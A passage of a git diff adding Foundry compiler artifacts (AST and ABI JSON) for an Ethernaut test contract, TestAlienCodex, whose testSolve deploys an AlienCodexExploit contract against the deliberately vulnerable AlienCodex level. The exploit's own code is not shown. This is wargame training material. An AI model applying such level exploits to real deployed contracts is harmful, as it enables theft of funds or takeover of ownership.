\"AlienCodexFactory\""},"value":"AlienCodexFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d8cae27c4fc8775677c1950dee0995ac0896d810e6d095e57c0126c66a6f1f35","typeString":"literal_string \"AlienCodexFactory\""}],"id":59012,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1520:13:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":59014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1520:34:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59011,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1507:12:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":59015,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1507:48:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"1484:71:121"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59023,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59010,"src":"1603:7:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":59022,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1595:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59021,"name":"address","nodeType":"ElementaryTypeName","src":"1595:7:121","typeDescriptions":{}}},"id":59024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1595:16:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59020,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1589:5:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59017,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1565:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59019,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1575:13:121","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1565:23:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1565:48:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59027,"nodeType":"ExpressionStatement","src":"1565:48:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59028,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1623:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59030,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1626:9:121","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1623:12:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59031,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1623:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59032,"nodeType":"ExpressionStatement","src":"1623:14:121"},{"expression":{"arguments":[{"id":59036,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1662:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59033,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1648:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59035,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1651:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1648:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59037,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1648:21:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59038,"nodeType":"ExpressionStatement","src":"1648:21:121"},{"expression":{"id":59055,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59039,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"1679:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":59044,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1729:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59048,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59010,"src":"1754:7:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":59047,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1746:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59046,"name":"address","nodeType":"ElementaryTypeName","src":"1746:7:121","typeDescriptions":{}}},"id":59049,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1746:16:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59045,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1740:5:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1740:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":59051,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1765:1:121","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":59043,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1709:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1709:58:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59042,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1701:8:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":59041,"name":"address","nodeType":"ElementaryTypeName","src":"1701:8:121","stateMutability":"payable","typeDescriptions":{}}},"id":59053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1701:67:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59040,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58885,"src":"1690:10:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$58885_$","typeString":"type(contract AlienCodex)"}},"id":59054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1690:79:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"src":"1679:90:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":59056,"nodeType":"ExpressionStatement","src":"1679:90:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59057,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1779:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59059,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1782:9:121","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1779:12:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1779:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59061,"nodeType":"ExpressionStatement","src":"1779:14:121"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"1191:5:121","parameters":{"id":58961,"nodeType":"ParameterList","parameters":[],"src":"1196:2:121"},"returnParameters":{"id":58962,"nodeType":"ParameterList","parameters":[],"src":"1206:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59084,"nodeType":"FunctionDefinition","src":"2052:137:121","nodes":[],"body":{"id":59083,"nodeType":"Block","src":"2079:110:121","nodes":[],"statements":[{"expression":{"arguments":[{"id":59070,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2103:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59067,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2089:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2092:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2089:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2089:21:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59072,"nodeType":"ExpressionStatement","src":"2089:21:121"},{"expression":{"arguments":[{"arguments":[{"id":59075,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"2152:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59078,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2171:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59077,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2163:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59076,"name":"address","nodeType":"ElementaryTypeName","src":"2163:7:121","typeDescriptions":{}}},"id":59079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2163:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59074,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2132:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2132:49:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59073,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"2120:11:121","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59081,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2120:62:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59082,"nodeType":"ExpressionStatement","src":"2120:62:121"}]},"documentation":{"id":59064,"nodeType":"StructuredDocumentation","src":"1984:63:121","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"2061:8:121","parameters":{"id":59065,"nodeType":"ParameterList","parameters":[],"src":"2069:2:121"},"returnParameters":{"id":59066,"nodeType":"ParameterList","parameters":[],"src":"2079:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59117,"nodeType":"FunctionDefinition","src":"2244:207:121","nodes":[],"body":{"id":59116,"nodeType":"Block","src":"2272:179:121","nodes":[],"statements":[{"expression":{"arguments":[{"id":59091,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2296:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":59092,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2304:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2282:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2285:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"2282:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":59093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2282:29:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59094,"nodeType":"ExpressionStatement","src":"2282:29:121"},{"expression":{"arguments":[{"arguments":[{"id":59102,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2362:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59101,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2354:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59100,"name":"address","nodeType":"ElementaryTypeName","src":"2354:7:121","typeDescriptions":{}}},"id":59103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2354:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":59097,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2322:21:121","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_AlienCodexExploit_$58946_$","typeString":"function () returns (contract AlienCodexExploit)"},"typeName":{"id":59096,"nodeType":"UserDefinedTypeName","pathNode":{"id":59095,"name":"AlienCodexExploit","nameLocations":["2326:17:121"],"nodeType":"IdentifierPath","referencedDeclaration":58946,"src":"2326:17:121"},"referencedDeclaration":58946,"src":"2326:17:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodexExploit_$58946","typeString":"contract AlienCodexExploit"}}},"id":59098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodexExploit_$58946","typeString":"contract AlienCodexExploit"}},"id":59099,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2346:7:121","memberName":"exploit","nodeType":"MemberAccess","referencedDeclaration":58945,"src":"2322:31:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59104,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:50:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59105,"nodeType":"ExpressionStatement","src":"2322:50:121"},{"expression":{"arguments":[{"arguments":[{"id":59108,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"2414:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59111,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2433:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59110,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2425:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59109,"name":"address","nodeType":"ElementaryTypeName","src":"2425:7:121","typeDescriptions":{}}},"id":59112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2425:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59107,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2394:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:49:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59106,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2383:10:121","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2383:61:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59115,"nodeType":"ExpressionStatement","src":"2383:61:121"}]},"documentation":{"id":59085,"nodeType":"StructuredDocumentation","src":"2195:44:121","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"2253:9:121","parameters":{"id":59086,"nodeType":"ParameterList","parameters":[],"src":"2262:2:121"},"returnParameters":{"id":59087,"nodeType":"ParameterList","parameters":[],"src":"2272:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":58947,"name":"Test","nameLocations":["877:4:121"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"877:4:121"},"id":58948,"nodeType":"InheritanceSpecifier","src":"877:4:121"},{"baseName":{"id":58949,"name":"Utils","nameLocations":["883:5:121"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"883:5:121"},"id":58950,"nodeType":"InheritanceSpecifier","src":"883:5:121"}],"canonicalName":"TestAlienCodex","contractDependencies":[49101,56450,58028,58946],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[59118,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestAlienCodex","nameLocation":"859:14:121","scope":59119,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":121} \ No newline at end of file diff --git a/contracts/out/AlienCodex.t.sol/TestAlienCodex.json b/contracts/out/AlienCodex.t.sol/TestAlienCodex.json new file mode 100644 index 000000000..18ea808d2 --- /dev/null +++ b/contracts/out/AlienCodex.t.sol/TestAlienCodex.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"int